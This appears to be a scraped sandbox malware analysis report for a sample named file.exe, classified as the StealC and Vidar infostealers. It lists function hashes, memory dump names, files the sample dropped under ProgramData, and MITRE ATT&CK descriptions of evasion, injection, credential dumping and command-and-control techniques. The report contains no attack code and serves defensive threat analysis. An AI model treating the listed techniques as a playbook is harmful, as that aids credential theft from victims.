Opcode ID: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction ID: ae60cf500922c526f57c7762f5cf6f2db0444915f73aba98d3560a5850282183
Opcode Fuzzy Hash: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction Fuzzy Hash: 8001DDF1F002506BE7101B3A9F049A67E6CEF52399F014171ED18D6A11EB31C465C7EA

Function 6C661EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C661ECE
free.MOZGLUE(?), ref: 6C661EDF
free.MOZGLUE(?), ref: 6C661EEF
free.MOZGLUE(?), ref: 6C661EF5

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction ID: e77b6c7f75642fe41c21af48cc66097eca8c0b5c486f7411565774c262e82046
Opcode Fuzzy Hash: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction Fuzzy Hash: 09F054B17005056BEB009BA6EC45E6773ACFF45695B140435EC19C3E00D726F51596A6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAAKJDAAFBAAKEBAAKF

C:\ProgramData\BAEBGCFI

C:\ProgramData\BGCAAFHIEBKJKEBFIEHD

C:\ProgramData\CAFHIJDH

C:\ProgramData\GDGIJECGDGCBKECAKFBG

C:\ProgramData\IEHCAKKJDBKKFHJJDHIIJEBAEC

C:\ProgramData\KJKJJEGIDBGIDGCBAFHCGCGCGD

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre